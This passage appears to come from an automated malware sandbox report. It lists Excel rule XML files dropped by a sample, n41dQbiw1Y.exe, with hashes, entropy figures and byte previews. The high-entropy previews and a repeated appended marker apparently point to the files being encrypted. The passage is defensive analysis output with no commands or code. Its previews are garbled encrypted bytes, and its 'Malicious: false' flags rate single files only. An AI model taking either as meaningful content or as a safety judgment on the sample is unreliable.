Preview:	<?xmlP....;=.\...TV!..0...$nWC.H>...5..E.8.."...1......Y.0.B....&.......F..M-:.NUp@.\.....H....1._..g...gZ......e.I.5......!.........\|X^.K..X~.p.....%=H.._...U..=K....S...;.P..g....%I...z.............g..A..@G.........[............t...S..).#.k...NK...I.{..Rf...&.v3OM...m..N....&W..B.~...[....k...R.K#..c+.MN'.........`..#7%wo;.........?..!..h..R+...Y........)...2Z.Y.e2..l.+U.Uo8.d>c..@...L6.j..#.D.h."W...`/qgn..B.Z..z..NV.rH..K..>..L.R.......m.Y......;.i y.~>Jf.....z..b.&k......N;>...w.C.)...,.)......z....i.\..K5.'.D1...[.7...Q.B...Z...../..H07..W`.' ............i...i...Q~'....V.(.1..b.#.j!....=..........r...^.bB..J..o}...4XL.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100129v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.695161967108769
Encrypted:	false
SSDEEP:	12:rp0C+KNWS4s5YXk0N+ZZfht6LWCcyYlF27lVarYdApnSe1mlN5VJuElrlYcii9a:rp0QAkYXkbZbuYi7l0EdA1P6nlabD
MD5:	F5F54E013AC53B865B82639E74E1B8ED
SHA1:	E65D7D81CF73B93CE9E7FA9359C8F706AB6F8CB7
SHA-256:	2E53CF59C9D0FC971CEC20C54A8E2BA89D1E17AEA72BADCA2323AEC373D1D4FD
SHA-512:	7FBD9CFA9EF8632599A862D87B5E079F7670C354121C6EEA9A2226EBFA423B308C9CC2569CB25D186544CBB2DC198A61665D7910278FC661CE0FAAB69E0E2A08
Malicious:	false
Preview:	<?xml...IYCS..O....K`....X.1..U..i...g..`.l.Od.....M..... .Kc.9.`.Xa..m.le...=e....4.,......R.QK.A..h...%...^....XM8]_...&D]..^..U.~.r...Y......D..,1bLcW..j...hs\.k.+6$.4.^.<.hF.Z..2l.D[..]........\I.!.:.s.9......$....../..<.=.B.......\CP.D6......d.'.....Nk{+%JI..A_zf....=.(.LDe.......m.p....Y;y..Mu...3.rX.:........LO.Y..`..).F.D.Ha.3#..H....3;X.T>.7..;H..8...{.....L}$m....a9.\|@...nD.PW.~...s..8...j}..i7...D2<"....w.....Fy.P......v.y}9X..-Zy..g......N%.a......=./4..'...I..H.^-...K..O.a..lm.'...;...[y.g...h`.'....X....f..(GJ....[.Z....t...sAK.z.r.O%...\|....x.5..AK..r.x.!...l/Kf.....O.s-4..r....Q..`u.i.Q.!..;.........=....7Z.I...#.{.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100130v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.717485377040062
Encrypted:	false
SSDEEP:	24:JZoVEcgCPDiwSoMF/3D0b3XhTFhg5Nov1bqybD:sVETeHC3KRTFhg5OD
MD5:	43398333C4286BD48604056FA60C9BED
SHA1:	8F500C270AFE3D6F100726EF95C75C9CAD28180F
SHA-256:	77ACC18EDD5FE59A150DD37217FC134F30C5CEFF8DE069398837F5D056EAEA27
SHA-512:	89AACB62DF0D2ADAB68496BCC1B6C3001AB23399835176051871C76BCE45FF942088DAC6712570E3056E2107F7FB4F282E929EE22350331FA67840BAB409DC8B
Malicious:	false
Preview:	<?xmlkVH......0..!.V..u.....},6..?.....&........,a.)..Z.[......y>....F...kB+..+...j.......Wgj.yo.6..p`.23.#....wA..g%.....b.....I/&..I.. w.@....Jd..`X.P..A._........@.)ID...p.zz.0..$.5...c.u.6.aB.!+M.W.H....r.s..?.........^H...^....{...$S.2..../....S.@...t....{HA.0.....l..B"y...f%..<cE.D.,.7d.tl....%k..p........H..1...^..R{.F.7.x`niD..E.&..kI.=..<Z.6.v.].R.gaK}Uk.........x.m..8%.e...g.T..g..>DH.q.92...O..t.)..%....~c3}..d.....8H..M.........qn'...u..z.1...........a._GyZ..z..!...7S...}........Nm.Ue..~3.......^.~b+N.H.OCG.......?,.}.d.....u=.s!r5..S...@.C..z.......@D&..Ft4..-(.Rp5[cH....m.....:.&j..*.Z...7'..N.:.......M.3m.&....}.F.SM.E./Mz....0.d...r.ge[BR.. 'Lzn.9.Im..Po.4....c.L...7.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100131v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.679443072229582
Encrypted:	false
SSDEEP:	12:6vUVX/1o2RpW/hEI/h6aNrD8Yt6r/GRl4o6e5hDFi1ooDxIiPZYcii9a:6v0TWZrJN/nHRlH6eDIuo9IiPibD
MD5:	8BD0339BB8CD091774634C6AEB0F6080
SHA1:	71182E8BEB5A9930CAAB7AA520A12B198377C1DF
SHA-256:	81DDC3F080F268D1F14937D7EED46995E395E2DE59192301A3E57B9149A87B69
SHA-512:	E3D80CEC339A00849BE159040920179C3B547E9DC14F56BBF378A53D00BAFAD4EF551E87DD1CE37719253D3161DCE6C4DA3152EA297DAD53180EFDD848369F80
Malicious:	false
Preview:	<?xml..c..a.R.<...3a......a.8.UO.K.Z.).....SE..OQ6...H...._...KH....N...p.......g)..E9EaC..gU.9t.*K..;...... .#.3W..k...q.fil3.E..+.2,Ff/&M.@y..+.=...x............W.m1.5.=.E....-..........<`_..~.&......v.=.......c8..h#]..96.p.Vj..ik...s?.2...[?....j.........\|....3@{-c-~..G........6..5Y.....5.hk.F..3......%7....\...!=4...Pds.........js..:(....a(.....0..nNb._.._V.".h5\....Rj}..T..I.)..^.5........T.z.....S"6..A.X."k..s...:_.Q...vjC....E [..h]......%.......a.(.PI...7.l8j.v\.tUz.f.v.=;3x#.F.c.Ob.El-.~r......9..-kU.Z.UL.x...~......).I.......p....8. .2.L.-....~.@&../\ `...t#..j../.t.'.~\|.....b.U.a',%...x..(.4uE..+g....6n.h!...%X.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100132v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.645638276418675
Encrypted:	false
SSDEEP:	12:E8XWdA6oeQWhSKIuJ+RQY7SGvm+BJSLyXoJ3rSvPZIvkAEoKAvb3oIlxCYcii9a:VXF7eQeZIuCQY7LJSLsodISt8Avb3oat
MD5:	9D0FE464B253537B6AD08C203F17F5E3
SHA1:	D2F54B922524ECD0544AE5658D16BB53FB47A759
SHA-256:	55F0949B623B25E8BF079B569CDDCD88C7CDD76531D7CE0FCAEB10C644707BA3
SHA-512:	F98E7010C25B7524665E6FE9BFE771BE549A13A0A671E5BFAFFD96C3426AA10CDED90318DD61B1E57120F9815FD4916C7A5E5C2884A385F35998F456ADBAB373
Malicious:	false
Preview:	<?xmly.....].9*.4....X.~\|^.Oe3V...n.Q..>..6.1.wCA....g\j...\|.+`..3x.Hh..dX...N..D....<.L.>G+6Q.;<..o)...Rv.q..i4.)....D..3TZ..~$.9."Ud..Q...#-.QLTE..<.....+)0..f...(.1>@.4..u...'vz0.QC1+2.W6j;..h<.....B..9.@<...1.e..rEP.b9......[..K..h..8pO.H&'......=(,..$I....<.yi.P.=...BL/.=...?.s.../.....2".A.)9.D...W.m..hB!P../h.Hl+....8.vv.A.....h83.V.....fq^.As.`....}^.>....]........k.....3.9V7.B..V......q...&M^.S. ....(.t.?......1.m2..K.J.../...d4.?..(G.. .P......R4.}.7.{h.<.1.R.3.W.8YE...f.T.c..........\6...<....Ng....9CM.iJ$."...2.......T.j.ln.Z.sm%9O...Rk....;\.A........`.{...e....f3..]. .cw].".7......iL...........7......E..].......!...R.v?....e.pGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100133v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	751
Entropy (8bit):	7.731550143800316
Encrypted:	false
SSDEEP:	12:HQLJsu/MIgun59tciEz1ZmDDVA+dBimU9WG1jq+ToKSv2vk99vDKYcii9a:xuFgun5tq/mDm+dXGJqaoBJvbD
MD5:	7D46FD5FD50EEB6BCFF3C497A224AE8D
SHA1:	262CD7160696624400067B9B8FA27B81BBF45994
SHA-256:	92CD0B19908F6ABB61B7D950C99170D07CE943004363E844BC91F8D85C5E9928
SHA-512:	86D0B6694E006E73DE8CA72272D585CC904940C12EEF359BBD2293CEC99E0BDBE691EE1002A1D7B9CA575ED7BE4317D01922B77D4514BC9E9989C2F5E309AC6B
Malicious:	false
Preview:	<?xmlp.gBH'4...n....:m@....j(!....Zv.B?n.m...).T/..z....x{.r..s,.v.JT.!3,A..j.u[......4"ae.rV.zN.A}.......-.W....AF...n0{M..Te......-D.....\|.......y..^..K.+...i....@G$&...C.^.8.o...,...F..$lk.....,....U..}..t....T...........2...\..hT...m.Hhw.....\|{.....~......m#).....y....B..D.q.....]....U;`d.k.y.M..J..I..=1y......Y.\@.L...._..L...=e..ukQe........<.?.t...M..x..J....vRG....5U..B$........P..G.-i...8~..iG.%..>............w....m1O8-..#./...]S2d......e..I.".I.........wY:.A..u...%...<;.FO[..v.S......x.8w&B.e.hfb.....t..bq.e...X.a..C],.2..r.P&..........J.........c. ...Vw.....I.b...7;....C3..>.4.M...j.....$H;U....F......o!.E.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100134v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.714734964965054
Encrypted:	false
SSDEEP:	12:JZ4Ita62KNuMDLMuFgSblt7PEhE4yyAQtt4+IupP9/UN/hXHpYcii9a:dN2KsO4vSzPE24xAQ/ZdpP9URSbD
MD5:	E66DEC31EAF5342805578706BFEC88F8
SHA1:	3754CC5F13B2D091DA563B6201876914B7536EB7
SHA-256:	6B6E474755B9DD4918FCCD8F7EBA024755FD8806F80EC8C3F7A2F899043454F8
SHA-512:	6BD5A76BBD0FE2B6F6C398E4A32EC328BC639199E139C387941DDD7593BBE4AD064F7F91EFF8D0D91B529FEFDFF70C775D8B47C911DB90B03048B4DEF5FE362A
Malicious:	false
Preview:	<?xml?].K..-.......,..k...A..v.h....\.,O..3...........Q:..%......V......a.h........?....k..j..h..s.0.M.Q!..-..N...}.}.L:A...A..=.>...).Z.q.S.Fn...."...H-..u....w....Y['...O.4}&\.....C.Z..B....c]\U.....X./n...a_...~.fQQDc.M.?..J'..../.r.q.!...K..#....c.......jhS....z.-........!.6fsW.....U".\|U..r.L...(.{....s...-..J..g..^...!..v.1......wbq...tF..3.~-.......'@...OE...`#.h..CY.&e....Q......u..GR...];6.....t...O.20Z...z...k...}K....B..T....5.M-...R..q..2-@....^F..B.m.k..X.J...A.`T..:1.g..)...w...#Cx5...QIU.. .v.G.m.....>.Z..'.6.1.*.!`...6]...@.....}......O.....%...mU...Z.....<....2...".EZ.h..ay+..}.1..7.q.....t+.K. ..j.a..........P.e..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100201v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.712660579916694
Encrypted:	false
SSDEEP:	12:aJO93dprbVP0EJEScqP4zJ2b+BqmMFseaAv3UjgAvw3EQPMGJBsVMYcii9a:uO9zVP0gFcqmpBhMFRaAv9AQBPMGJanX
MD5:	109E5EF21A27DE27AFE604AFD990425A
SHA1:	8203274BCE6F7588348FE098263F3D34309FE696
SHA-256:	A2AF37E897513A6F8FF2DC7BABB65ACD578241C050361758D7E418E9787F2697
SHA-512:	257B11A51957680A07308847E9E7739A508BB3AB471D7A2D6A45873AF7DDA184925C911B8437275BBDF3988FC8352C5CFDF53AE2B427A424BB4B08145EDB8516
Malicious:	false
Preview:	<?xmlK.+..K.%.....5..J:!...i.........n.q4.....T.....).T}.y9.......U...R.2.z....]U..+....&..'{1\......H...y.....i.0..u7.H....L6..l...h....Y.\l...E..$.U....WR.i.....{a..&.9..Q..l!.i.{.....W.mE...=..b.`m]w.?x..eF.....................9I0.......3^;0......q....y.{P.gH..-.6_\..g...\|...~..@K=l.EpS..k5..5.......l.~.......#r=8.\|......9..g.G.p~..x.E.i..D.KW.1.jx....H......lO.......[......M...L.6O.}..$&.#._.}Y..g.W..<1/u..<9.R..)....[t......_.{J@..-.._%b.`...^..mJW..V.......J...ck.yA-q1,F..SO.V..cv.....l..+z...9......g.5....eQ\|yg._.a..Q...`Q!..E.Pm<.ye...Q..l...e;^.......y:..SV.+...p..d......\..d:....";1&.0...j.......q..&.hb......S.]T.h.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100202v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.787392529622593
Encrypted:	false
SSDEEP:	24:9J9Z7/2Rrm7m1bJQyoAjAiET7I7BzoJzZoPDkbD:lZ7/UmSRJQyTAr7IB6zCyD
MD5:	8DBBFF42892823EA03CE397944A59D78
SHA1:	7B62BC14FD639153678F2AA2EDF781E0BFC73429
SHA-256:	34A6AA370735D88581B047EA533C00CE43EC6D0501359A94E7EB3B472649BF77
SHA-512:	D079DA9AD21E24DA49C0B000E535455F7C4613FB8CD2496C2172F8C482BA7735D65B57763C882C5F2A296CEF01F5581A56EA7A5EC6E2D3ABCA715BE4ACB82E2E
Malicious:	false
Preview:	<?xml......e%..7......F..u.~...D...(.k...r..c...t.;.M.W.=wW.Y......X.c?....j}....A........~.+.:......5/.D...e...@.....&..6^....^Z.....k.....L..=t..=.?...7$/.!.i0......EX.F.Ao..U.q....<.3`x'W.Zq".:!. ..;W.}..-../W...P....5...p.^P).\...k.6/.....8...A.dD....-..../.\|.^.I...f..e`.7..}&...<./...-...L......d........!......mI..[.S...1..!/..u.1.=.~.:.....0...E.b...0[..P.......U.\./6...... i......R.\...b...5.o..l:...>:E.m.Z.=.j..o..-.G.Om.N$..Aop..k. Ld..c.zNz.i......ly?H.F2f9(...[.......s..Q/h.e........UZ..X.....<C?N.".u..U<qw.........<7D"C..L..[P.4!R... ].c>b.Z).w.....V8k..jK...@).....G6h.3....M.HB2.d....J_.{F7.....A....K...;.Ti...."..E.(..#d..Q.1....I...7.L.F...K....;..fq%...I.........q..g..C4#..K..8.......R.......;.>....[.f...up....#...bb7+`...H8.p...4L\.Xs.../..Q..@.J..........z.. LZ%[.(....?..E...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.873421345662334
Encrypted:	false
SSDEEP:	24:/oPIUkVR+Hwieq/kqMcjPR507ucJ9YU3KC2NfNDKd0+wcgXoxYHn5zN8S6vXubD:/+0+HiYk7cjJ5yucJSZ1NDKd0lcgXCYr
MD5:	F39A227507AFD1EF6802B210FE07012C
SHA1:	49439C2B904D5275478353D6EFF7E5DD546FFBEC
SHA-256:	14609BFD3E63037256E129E8B97F34D167B5034849C0842052988BB5CF448D0D
SHA-512:	CACAE9F65A55494DF5DEF3F65FD274BAFBCF535E6438FA3850C4F198C5988387FD4B0E75721C1011E118AD730967A6743E051BEA06C72099F072CD4BADA57EBF
Malicious:	false
Preview:	<?xml..{.DM.!....f.{.xShs.0.....O..z..oy..p..[_U........lY...../d...~?.=d.Q..qF.w........!.L.9.7.`.b....._..t........opH.O.d.O..z.L.n.3.......=A.Dp?..,.;.....Ri..?.6..M.]`.1...A..u....O........dp...q...d.....s....06G.Pu.O:<6.'a..3.[.....?...t...X..b...:&.............~.n.....52S.K...J!.{...F=d..."....z.-.W,....<.h...<.N....~}7.a...F4H..,......5 ..g..OKw:N.S4...Qz.....ih>U\|.8...+.....&`.eJ..B+.....$'.J...L.f..C4.{zY...@..^.{.4.Vtgo...1.).l.... 3..?...........Q....O.t..I.sf..^.r.Mc...........{8...S-....TVV.."...b..~...`.v.6......^...e...c.....\.y .........t.Tj*\|J.....lw....t.%....:X..x.3Y...b.9G.1.~.;...2....H......+.$?x[..t[..zd...x-...Hy...x..!.UYheR=...x....B.....5,..<.k.$:..<....2x.>.1b.9....f.6'.$..i....WOm...-..w...t3vn...\|+.`..u.#..........3.g/o.Z.+..#........A.........J#...&n...a.....K.p6.0.oGz....M.1.vm....r.-.z.....=.e.Zt.ttlI....pzo..._..M.mo.U.......,.qj.ECn...K.....!TL...9.)...Q9..>.._.eD./.5..\[wG....k.......F9.2.....T..G.g..Oi...#..5v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.927459763060748
Encrypted:	false
SSDEEP:	48:xbC15NaShxY9hkRAf3ipuOutmtcA21MIiDsogPLhcJ0bicqPjQIe1W0JTbW4SahN:tQrQ92Ro3ip2tmndD9gjhE0bivsIL01N
MD5:	514F812B47B74604B8B15D6CB9425562
SHA1:	425DD2BB7B11C7E7CE09C66EE79C51B61A07E9F7
SHA-256:	87B30D7D960E7D816DBC10136DDBB5A14DCAD07EF38ED8BA960EBF16F0D24ABA
SHA-512:	F8FDDE1E4F9E1E5092FA2FFCE40EAC920CF6BFBCB005E129C2A294D6E1B2734AEE5561BF5D6DAEA1F8A10F568BC08190452DAB10A0A22AA4404B56AC192E3171
Malicious:	false
Preview:	<?xml.\I.r.r..hg..g^...'gj......yE.)r.!...T..z5..........Q.'...i....H+o.....N....J..s........'...5k......l..6..4"......A.,.[M..ldEW;o.h5...A....O...r../...+.M#.....mS......L...#.?..Bt^x..B..]..8.f...O>.y}.(... .J...J..A.c.:....%.u..a....(.W8.k....w..o..4(y/./....N3.Y..T.....T4.K%...Sx./...6.`.fa7.f..H.!OQ....r.L...?i.....4.8."....q.\|.w.~g....-.Qcf=....V.%!_....w.....c.....\....>........!..d..P.9..7T.........(.r.gFrX..9.U....vZ.6.r\|....e.(.F.Eu.=9...u..b.?.w..UO.f8.~[.o!k....7B.....`nG.6.d.L.@\|..5E..7S....~@.i.NCa..p)..@..+B.......\|..(U.rR...^e....O..a..........7d.l.b._.'.xJ.C.......+....P..C'.....v2..SB\...]...z.wT7.@Z*.~...DU.~.j...Ot.o./aI.....Gj......>..e.....+a....M..^.3..k$......F...xl..y..S..s$..f.3c8...\o1S.3..j...s..+u...e.....9g...X_.G4~.geo.....E.4#.m.T1..6...-..G.._/...M....>k.P......y.Zr.N..WTE.\uE..1m..W......_]...N.:...q.(..c.v...9..H#..mYg...{.....>.AmB..........A;b..d&../..8.......{7...0@p...0.G7..apS.Oo.x.hv

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.8734718156154475
Encrypted:	false
SSDEEP:	48:qTEHVh/b0s76FZhcR5yGLqp68YbN5Kgl8Ez3bD:qQ1hT+vaRp51bvl8EzX
MD5:	E30DC3387A6BAF7EB29479F97580B902
SHA1:	FB410434C6313F9FBCC5882431BF3BC3E0EA7638
SHA-256:	240629A06DDFF2253B882DA04C3BE58FD69E4E03E8090B6CD7D38A54EC8759B0
SHA-512:	9D3B273C267556A6E586B0618118B97AF67D311F6F47E93C85B9E20677D602FC5AFC5C31D3E2B79CAFA24C647A6407FEF8D0BCF3E90F9CB3F63850AD10BC72DD
Malicious:	false
Preview:	<?xml......^.y....=[.e....p......0.b..LXq..3.)..'o.sE.............]f=S.o..i.A..O.....r..\0...v.....T.o..8~...P.X( ....Y..o...2..}.......0.E.....?.1..J.[.+.o...i.z.:.......k0:.j...k.M.jF.e.!..XcU\|........G...0.....h_v...H.C....F...iR.....Zi1.'k.....AS..V..8.OA..J..iQ.......7.WQ.....~#?...\p.N.#...P..y:...W$...h..zu:t.X1O2..-....I.i........G.6...\|u.jkR......u..."..xg..uk...........CO?.2..;..{........c^o._......Y.....R.1..._<<!e]?.s.!..._....n.q9tm...;O.].l./..`.Hc...x4..z....p....`s.&..S.R.4 .WI......I.LM.$.....[.O..-....h.T.O..C.....o.J...Z.B.j..C.i...?.Z..)..!....Vo..V..).....T-}..U..,H.ro<w...r....RF..9C.......x.]....6....X$.....gx.K.M.8..q....($..P........i...R3.i+....B.#../..9..x.2...._.K........B..0..]...I^....~gi.......):..wF....dz...Te.[...k..n.o.....N...h.....;... .....5J..<..O:.g.f.J.U`X........vR1....$....l._#..........2T.'u.T.0_...\|.e6.....N._._.A.I..5..F)...B.X.(#.b$.....k.(.....?.&-.....zUH.}.,Cx..<..j..?g.r.w.}\|.+..w.E.V....w.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.88960040905929
Encrypted:	false
SSDEEP:	48:xTX9u+jRJKHXYDMmQrtmXf4HkOKJfB3CXpbgGMH4Z+FLu1wclqD:xTtfK3kM9o4cJ3a+PYZ+pmli
MD5:	EE5745240E6081EB496150BE9A6ACF00
SHA1:	C6502828EDBA9AD9D0420BD70E552568607325CB
SHA-256:	E320DF17A7DD293060CB88AB2B5A38A55BFEF4962B06D4C4D542F7D8E6FCA34C
SHA-512:	06513F906F64751816F0292AB1237AE48A436D78E5AF4A800A8C2FCDF37524C5FFB4219E6CF7ACAC4B2056AF140B45BC327587087BD37046D8BB9A1DA37BE2A6
Malicious:	false
Preview:	<?xml./.:..M.'+......r..hC&.....Y(T..Jv~<.,..jY...Z-.a..x.?`..I...m.=...v.s.... .6.SN..2.+..;5...........A....V9.....F.`.ZsZ....7...Fw.$...#.!l.M.g.ky...@.\.>[U.Uj.....4.9..u..p4.C.+....`.B....Q.t..qg../.V..&X$.c..tV]...g.J..~5 .]-.e2..41..=d.G..$N....M.C....^..d...v...>.Z.8...n0-..[.m...JfN.8J2.-oMMq.~ObJ.....g....KkEI9v\|@.......(.....v<L.!.....7\|..p)..^\.....&_.{!.7.Z1cw.....8a..4K......w<.p..8&7?=a.z.4...c........[O...9...Zf......X2..D.=.ii.N=.<....W..e...q^.....5.L2j$tm(......v..I.~-.Q,..e.J.@W/Y.\..d.ti(T........m.oN.=.r.c.t..`.E..8r.3[.Y.J'..\|..oA..u..(.._..U.<....F.....K....G._l.BF.A."V....\E..q.rr.r...\...@V..n..#6.....y..S._p..~W..u. .=-.....~[g.....,..~.MG.......Fa*Gs\..h.[.(.:.....:.f.....(..k..V..D..\|.....m..(.......'.A...o.....%...d ..D..e...T.9%S......g..H...P.....a.....gg.4?tk.4.T.q....F/.8...[.8...$Y..=e........z..V.....`./.)@.......x.{..&....9.2.n.{/........~..........H.i.....?...S......\|...68I..n.S.t..}0...9.f<u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.706821275167217
Encrypted:	false
SSDEEP:	12:WOhU/l6dg+yKmNQXZRdg88w4tp760/6S1NHDvmUgwDZc9kMqtbd4loPXFiuYciik:WOhLgamY+8cL79p1NzmJiZc9f46eibD
MD5:	0DF6C60462BF32AAE1416B0050EEE153
SHA1:	3C96B04B2F757768676745C1ADA95FA3522CBBB0
SHA-256:	F87B817547C8727181DFF24D58089C3A658D4F938CDF429E123735F78E449233
SHA-512:	C2555BDEC8505B83A72624586324A8A7337502C04FADA88CA04F667C4DAE823B3275A30E4EE980D95ABD52F0F0989408CDFB57B36DAF8FE2E566E453F3242260
Malicious:	false
Preview:	<?xml....s'..nf6N}..3c...z..."\m1.v".J.x}+...,.W`.....q.K.......{.......Y.....z.F.#..@..(G...v.C`B...x.....w...O.LH.?]OHj.Oa4g...\|.KT..u....s..So....c.1v.$0....SH...X....MXa.c4.Y3..7.m..J....C%...0..h...if....O6...y.8.Gyw..<..4r6.f.D...........3...-k..y...{1....y,G.%..-.H.......w.q.2...w.Q......U."q1..5.=..?.J^.f..xz..X..%.yT=.u...A......Q....>.LC.U(..J...)j{.v..U.$OV...-.[.U..4n..b..V.....u.B...C.Y.o...eA*.Y..........I...)`+q...U.}.S.,^..}.p....<..7t\|....0.?C_.D.R.n...;..B..^.....fp\|.m..7.y...GY.=...^.8..l..>..n.[..@....H.l......L?1.E.....R.Y.:5..L.....J.Fo0QE.v.]...s...E.....k...9y..J..y}6.L..O...;a...]...U....5.M......@.`....[...:c?vWBK.=G.+'...l.2..!.[ea.X....sQ.J...cGgBT...._.h..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.900254780704223
Encrypted:	false
SSDEEP:	48:lASuADHe1NgJ9Bo6BTAi9MQiBFdJj39wOsre2T5VltD:SS9THBTAoMfB3WrbT5VH
MD5:	6301692DCC8824958AD4BF1A0232543B
SHA1:	E8952BCF2D5FA228CC2636BD07AA899779AF6154
SHA-256:	5B9738925434CC6E26B99960F4D79BA5A1EBC47BD13F059DCCB6459FFA4D4418
SHA-512:	94C71ABAB3FCDCE4D51926565FE044398393C3C0BF99A268C16B17D9A8A1E5C8278D83499E3604B0FC39E01B8F004C1D7EC35E85DB1E7B7CEE522093AAFF3020
Malicious:	false
Preview:	<?xmlF~g&.G.....M.(.B...l.q..}..:.....@...+}......=..B 1'1.&..Z8...P.9.V........Lz5..2:.r..Q..n ]..8..[,F.G?..v_.B3....a........W7.yr........".K...A......Q.lX...H...x~..Zn.......r....=:..JO4..._Z..u..I.\|....... ..\|\|.e.".z......(.'...[H.bP.%^..>.."@:.d..H.?...(...t...(~.H?.....:..%..{.i...#.H..J^^..o....4>...=..........=.x...D.9.`.).G....sG......<.y.......'~..../{.U...0.K...q....&..........z#..d...E....mf..>..;I..w......H.nC.S...........}.#..{..#Y.!..&.z.:.I.....D..} ."...Z..q..?..G...E..-...;[y......<m=.)..C2..\|...P..h<......._...P....oO.T.......k...q.......FK..D.:.u....8.L.....".A.....I..K:.J.l .ebp..,....t..........m...KST)A^bz.n3.RmZ...AD.....{..r.......3......w..%.t.F.L~....N}.\qA.Qb8f.x.i.Aa..e...zm.b+....]Oz.m.~1.+.h...[...}09.8...?Mh..M...b..0~..`.}.N6C.....&j./Jt....jv./.#.._B7..mg.[.c..T.c..<..q.RsBI=.%/..[....!t...#.....w...8.'.$..Iw........XO..s.....~...mF......7.F.G.o.)H9yes........w..........Z>.O.+...n..ZeG.+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.689542040880838
Encrypted:	false
SSDEEP:	12:p3G5RuAMQaS1jD4BJn6Vs5aPlAJG5JV/Ho7hv90RYBNVQzlnYcii9a:p3G5sS1jsBJ6VXAJc3HgV3QzlYbD
MD5:	4087BD1F13D933C0532BC68BFEACE26B
SHA1:	8A03D30E215387C0FA351904D26934BAE0EDD693
SHA-256:	F6036A0BF8DBBFC1F087A0DA205E368D585F7C5493BBD06EDA2587695AD9D34D
SHA-512:	335CB743578E81AF0389A4DE3DDF977A94A8DC0462F94F30F05F4B75482BA97E37ADCDABA2AE56658AF0ED3C66AD96DE7D8816FEBA5D1EBB500D351F63AFEBD5
Malicious:	false
